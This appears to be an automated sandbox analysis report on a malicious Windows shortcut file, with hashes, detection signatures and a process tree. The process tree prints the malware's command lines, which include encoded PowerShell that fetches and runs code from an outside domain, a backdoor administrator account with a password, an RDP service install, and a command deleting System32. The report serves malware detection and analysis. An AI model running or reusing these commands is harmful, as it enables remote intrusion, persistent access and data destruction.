Edit tour
Windows
Analysis Report
rs.lnk.d.lnk
Overview
General Information
| Sample name: | rs.lnk.d.lnk |
| Analysis ID: | 1578266 |
| MD5: | f18867738a1c4a2825cec7b3419b36ec |
| SHA1: | 9ce7620e4967ea35e62d163a0256e847f5c2e14e |
| SHA256: | 8737bad2199dadda3be763c2bd85e24f4983b4e2794eabf596445ace110be37f |
| Infos: |   |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Windows shortcut file (LNK) starts blacklisted processes
Yara detected Powershell download and execute
Allows multiple concurrent remote connection
Bypasses PowerShell execution policy
Contains functionality to hide user accounts
Encrypted powershell cmdline option found
Found suspicious powershell code related to unpacking or dynamic code loading
Hides user accounts
Loading BitLocker PowerShell Module
Modifies security policies related information
PowerShell case anomaly found
Powershell drops PE file
Queries memory information (via WMI often done to detect virtual machines)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)
Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
Reads the Security eventlog
Reads the System eventlog
Sigma detected: Invoke-Obfuscation STDIN+ Launcher
Sigma detected: PowerShell Base64 Encoded IEX Cmdlet
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious New Service Creation
Sigma detected: Suspicious PowerShell Encoded Command Patterns
Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module
Sigma detected: Suspicious PowerShell Parameter Substring
Suspicious powershell command line found
Uses known network protocols on non-standard ports
Uses regedit.exe to modify the Windows registry
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates or modifies windows services
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
PE file contains strange resources
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64native
cmd.exe (PID: 8972 cmdline: "C:\Window s\system32 \cmd.exe" /c "STarT /mIn "" po WeRSHEll - WiNdOwStYL e HiDDeN - enCoDEdCoM mANd "SQBF AFgAIAAoAF sAVABlAHgA VAAuAEUATg BjAG8AZABJ AG4AZwBdAD oAOgBVAFQA RgA4AC4ARw BlAHQAUwB0 AHIASQBOAG cAKAAoAEkA dwBSACAAIg BoAHQAdABw AHMAOgAvAC 8AYQBrAGEA ZABlAG0AaQ BpAGkAaQBp AGkAaQBpAC 4AbwBuAGwA aQBuAGUALw B0AC8ANgBk AGUAZgA2AD cAYgBkADUA OAAzADEAOA BhADUAOQAz ADgAMwBiAG IAMAA2ADkA MwA5ADUAYg A0ADkANwBi ADMAZQBkAG QANgA2ADkA NwA0AGMAYg AwADkAMAA3 ADAAYQA5AG UAZQA1AGQA OQA4AGYANQ BkADkAMABm ADAANQAiAC kALgBDAG8A TgBUAGUAbg BUAC4ARgBP AFIARQBhAG MASAAoAHsA JABfACAALQ BiAHgAbwBy ACAAMQB9AC kAKQApAA== "" && exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8980 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) 
powershell.exe (PID: 9048 cmdline: poWeRSHEll -WiNdOwSt YLe HiDDeN -enCoDEdC oMmANd "SQ BFAFgAIAAo AFsAVABlAH gAVAAuAEUA TgBjAG8AZA BJAG4AZwBd ADoAOgBVAF QARgA4AC4A RwBlAHQAUw B0AHIASQBO AGcAKAAoAE kAdwBSACAA IgBoAHQAdA BwAHMAOgAv AC8AYQBrAG EAZABlAG0A aQBpAGkAaQ BpAGkAaQBp AC4AbwBuAG wAaQBuAGUA LwB0AC8ANg BkAGUAZgA2 ADcAYgBkAD UAOAAzADEA OABhADUAOQ AzADgAMwBi AGIAMAA2AD kAMwA5ADUA YgA0ADkANw BiADMAZQBk AGQANgA2AD kANwA0AGMA YgAwADkAMA A3ADAAYQA5 AGUAZQA1AG QAOQA4AGYA NQBkADkAMA BmADAANQAi ACkALgBDAG 8ATgBUAGUA bgBUAC4ARg BPAFIARQBh AGMASAAoAH sAJABfACAA LQBiAHgAbw ByACAAMQB9 ACkAKQApAA ==" MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 9080 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - powershell.exe (PID: 5552 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Version 5 .1 -s -NoL ogo -NoPro file MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 4788 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) 
WINWORD.EXE (PID: 7372 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Root\ Office16\W INWORD.EXE " /n "C:\U sers\user\ AppData\Lo cal\Temp\D etailed in formation on policy benefits a nd commiss ion levels for emplo yees after probation ary period Storytail ors.docx" /o "" MD5: E7F3B8EA1B06F46176FC5C35307727D6) - cmd.exe (PID: 8692 cmdline:
"C:\Window s\system32 \cmd.exe" /c start / min "" pow ershell.ex e -NoExit -WindowSty le Hidden -NoProfile -Executio nPolicy by pass -Enco dedCommand SQBFAFgAI AAoAFsAVAB lAHgAdAAuA EUAbgBjAG8 AZABpAG4AZ wBdADoAOgB VAFQARgA4A C4ARwBlAHQ AUwB0AHIAa QBuAGcAKAA oAEkAdwByA CAAIgBoAHQ AdABwADoAL wAvAGEAawB hAGQAZQBtA GkAaQBpAGk AaQBpAGkAa QAuAG8AbgB sAGkAbgBlA C8AdAAvAGY AZgA4ADQAN QA5ADQAOAB lAGUAMgBjA GMAYgBkAGE AMwAzAGEAY QBhAGYAMQA zAGUAYwA4A DcAMwBhADY AMgA1ADcAZ QA5ADYAMwB iAGMAZQA3A DAAOAA5AGU AMgBiADIAO QBlADQAOQB hADMAMwA0A DcAYwAyADQ ANwAyAGUAY wA0AGMAMAA wAGYAMABhA GEAZgAwAGE AMQBmAGQAZ AA4ADYAYQB lADUAMgA3A DIAYQA2ADE AYwA1ADUAZ gAyACIAKQA uAEMAbwBuA HQAZQBuAHQ ALgBGAG8Ac gBFAGEAYwB oACgAewAkA F8AIAAtAGI AeABvAHIAI AAxAH0AKQA pACkA MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 4544 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - powershell.exe (PID: 1180 cmdline:
powershell .exe -NoEx it -Window Style Hidd en -NoProf ile -Execu tionPolicy bypass -E ncodedComm and SQBFAF gAIAAoAFsA VABlAHgAdA AuAEUAbgBj AG8AZABpAG 4AZwBdADoA OgBVAFQARg A4AC4ARwBl AHQAUwB0AH IAaQBuAGcA KAAoAEkAdw ByACAAIgBo AHQAdABwAD oALwAvAGEA awBhAGQAZQ BtAGkAaQBp AGkAaQBpAG kAaQAuAG8A bgBsAGkAbg BlAC8AdAAv AGYAZgA4AD QANQA5ADQA OABlAGUAMg BjAGMAYgBk AGEAMwAzAG EAYQBhAGYA MQAzAGUAYw A4ADcAMwBh ADYAMgA1AD cAZQA5ADYA MwBiAGMAZQ A3ADAAOAA5 AGUAMgBiAD IAOQBlADQA OQBhADMAMw A0ADcAYwAy ADQANwAyAG UAYwA0AGMA MAAwAGYAMA BhAGEAZgAw AGEAMQBmAG QAZAA4ADYA YQBlADUAMg A3ADIAYQA2 ADEAYwA1AD UAZgAyACIA KQAuAEMAbw BuAHQAZQBu AHQALgBGAG 8AcgBFAGEA YwBoACgAew AkAF8AIAAt AGIAeABvAH IAIAAxAH0A KQApACkA MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 4144 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
sppsvc.exe (PID: 9492 cmdline: C:\Windows \system32\ sppsvc.exe MD5: 30C7EF47B57367CC546173BB4BB2BB04)
- svczHost.exe (PID: 9952 cmdline:
C:\Windows \Temp\svcz Host.exe n onbo1 akad emiiiiiiii .online 46 d578f8ebeb 0d298af9e0 abba20aa66 30bf759e37 8b0ee836f8 ea55b25f08 ca0f7f1be2 99c52d1223 498aa1476b 2f5aa08e70 dbd5f370f5 5550428a7c e1ea1b MD5: A2B92A4EB02A185E863F4F17737A0CA7) - conhost.exe (PID: 9960 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - cmd.exe (PID: 10020 cmdline:
"cmd.exe" /c del /q "C:\Window s \System3 2\*" & rmd ir "C:\Win dows \Syst em32" & rm dir "C:\Wi ndows \" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - cmd.exe (PID: 10048 cmdline:
"cmd.exe" /c sc quer y myRdpSer vice MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 10056 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - sc.exe (PID: 10104 cmdline:
sc query m yRdpServic e MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - powershell.exe (PID: 10124 cmdline:
"powershel l.exe" -No Logo -NoPr ofile -Win dowStyle H idden -Exe cutionPoli cy bypass -EncodedCo mmand JABV AHMAZQByAG 4AYQBtAGUA IAA9ACAAIg BVAHMAZQBy ADEAIgA7AC QAcAB3AGQA IAA9ACAAIg AxADIAMwA0 ADUANgA3AD gAOQAhAEEA MQBhACIAOw AgACQAVQBz AGUAcgBQAG EAcgBhAG0A cwAgAD0AIA BAAHsAJwBO AGEAbQBlAC cAIAA9ACAA JABVAHMAZQ ByAG4AYQBt AGUAOwAgAC cAUABhAHMA cwB3AG8Acg BkACcAIAA9 ACAAKABDAG 8AbgB2AGUA cgB0AFQAbw AtAFMAZQBj AHUAcgBlAF MAdAByAGkA bgBnACAALQ BTAHQAcgBp AG4AZwAgAC QAcAB3AGQA IAAtAEEAcw BQAGwAYQBp AG4AVABlAH gAdAAgAC0A RgBvAHIAYw BlACkAOwAg ACcAUABhAH MAcwB3AG8A cgBkAE4AZQ B2AGUAcgBF AHgAcABpAH IAZQBzACcA IAA9ACAAJA B0AHIAdQBl AH0AOwBOAG UAdwAtAEwA bwBjAGEAbA BVAHMAZQBy ACAAQABVAH MAZQByAFAA YQByAGEAbQ BzADsAJABH AHIAbwB1AH AAUABhAHIA YQBtAHMAIA A9ACAAQAB7 ACcARwByAG 8AdQBwACcA IAA9ACAAJw BBAGQAbQBp AG4AaQBzAH QAcgBhAHQA bwByAHMAJw A7ACAAJwBN AGUAbQBiAG UAcgAnACAA PQAgACQAVQ BzAGUAcgBu AGEAbQBlAH 0AOwBBAGQA ZAAtAEwAbw BjAGEAbABH AHIAbwB1AH AATQBlAG0A YgBlAHIAIA BAAEcAcgBv AHUAcABQAG EAcgBhAG0A cwA7AA0ACg A= MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 10132 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - cmd.exe (PID: 9368 cmdline:
"cmd.exe" /c sc quer y myRdpSer vice MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 9512 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - sc.exe (PID: 3068 cmdline:
sc query m yRdpServic e MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - cmd.exe (PID: 9680 cmdline:
"cmd.exe" /c sc dele te "myRdpS ervice" & SC CREATE "myRdpServ ice" binpa th= "C:\Wi ndows\Temp \myRdpServ ice.exe no nbo1" star t= auto & net start "myRdpServ ice" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 9676 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - sc.exe (PID: 9748 cmdline:
sc delete "myRdpServ ice" MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - sc.exe (PID: 9788 cmdline:
SC CREATE "myRdpServ ice" binpa th= "C:\Wi ndows\Temp \myRdpServ ice.exe no nbo1" star t= auto MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - powershell.exe (PID: 6656 cmdline:
"powershel l.exe" -No Logo -NoPr ofile -Win dowStyle H idden -Exe cutionPoli cy bypass -EncodedCo mmand ZwBl AHQALQBzAG UAcgB2AGkA YwBlACAAIg BtAHkAUgBk AHAAUwBlAH IAdgBpAGMA ZQAiAA== MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 3432 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
- myRdpService.exe (PID: 7340 cmdline:
C:\Windows \Temp\myRd pService.e xe nonbo1 MD5: 5641F3A5B9787F23D3D34F0D9F791B7A) 
regedit.exe (PID: 4656 cmdline: "regedit.e xe" /e "C: \Windows\T emp\regBac kup.reg" " HKEY_LOCAL _MACHINE\S YSTEM\Curr entControl Set\Servic es\TermSer vice" MD5: 999A30979F6195BF562068639FFC4426) - powershell.exe (PID: 3392 cmdline:
"powershel l.exe" -Co mmand "sys teminfo | Select-Str ing \"OS N ame\",\"OS Version\" ;" MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 4256 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - systeminfo.exe (PID: 6900 cmdline:
"C:\Window s\system32 \systeminf o.exe" MD5: EE309A9C61511E907D87B10EF226FDCD) - cmd.exe (PID: 4232 cmdline:
/c powersh ell.exe -w hidden -n ologo -nop -ep bypas s -Encoded Command QQ BkAGQALQBU AHkAcABlAC AALQBBAHMA cwBlAG0AYg BsAHkATgBh AG0AZQAgAF MAeQBzAHQA ZQBtAC4AVw BpAG4AZABv AHcAcwAuAE YAbwByAG0A cwA7ACAAWw BTAHkAcwB0 AGUAbQAuAF cAaQBuAGQA bwB3AHMALg BGAG8AcgBt AHMALgBTAG MAcgBlAGUA bgBdADoAOg BBAGwAbABT AGMAcgBlAG UAbgBzACAA fAAgAEYAbw ByAEUAYQBj AGgALQBPAG IAagBlAGMA dAAgAHsAIA AiACQAKAAk AF8ALgBCAG 8AdQBuAGQA cwAuAFcAaQ BkAHQAaAAp AHgAJAAoAC QAXwAuAEIA bwB1AG4AZA BzAC4ASABl AGkAZwBoAH QAKQAiACAA fQAgAHwAIA BPAHUAdAAt AEYAaQBsAG UAIAAtAEYA aQBsAGUAUA BhAHQAaAAg ACIAQwA6AF wAVwBpAG4A ZABvAHcAcw BcAFQAZQBt AHAAXABkAH AAIgA= MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5264 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - powershell.exe (PID: 8048 cmdline:
powershell .exe -w hi dden -nolo go -nop -e p bypass - EncodedCom mand QQBkA GQALQBUAHk AcABlACAAL QBBAHMAcwB lAG0AYgBsA HkATgBhAG0 AZQAgAFMAe QBzAHQAZQB tAC4AVwBpA G4AZABvAHc AcwAuAEYAb wByAG0AcwA 7ACAAWwBTA HkAcwB0AGU AbQAuAFcAa QBuAGQAbwB 3AHMALgBGA G8AcgBtAHM ALgBTAGMAc gBlAGUAbgB dADoAOgBBA GwAbABTAGM AcgBlAGUAb gBzACAAfAA gAEYAbwByA EUAYQBjAGg ALQBPAGIAa gBlAGMAdAA gAHsAIAAiA CQAKAAkAF8 ALgBCAG8Ad QBuAGQAcwA uAFcAaQBkA HQAaAApAHg AJAAoACQAX wAuAEIAbwB 1AG4AZABzA C4ASABlAGk AZwBoAHQAK QAiACAAfQA gAHwAIABPA HUAdAAtAEY AaQBsAGUAI AAtAEYAaQB sAGUAUABhA HQAaAAgACI AQwA6AFwAV wBpAG4AZAB vAHcAcwBcA FQAZQBtAHA AXABkAHAAI gA= MD5: 04029E121A0CFA5991749937DD22A1D9)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| hacktool_windows_moyix_creddump | creddump is a python tool to extract credentials and secrets from Windows registry hives. | @mimeframe |
| |
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| hacktool_windows_moyix_creddump | creddump is a python tool to extract credentials and secrets from Windows registry hives. | @mimeframe |
|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| hacktool_windows_moyix_creddump | creddump is a python tool to extract credentials and secrets from Windows registry hives. | @mimeframe |
|
System Summary |   |
|---|
| Source: | Author: Jonathan Cheong, oscd.community: | ||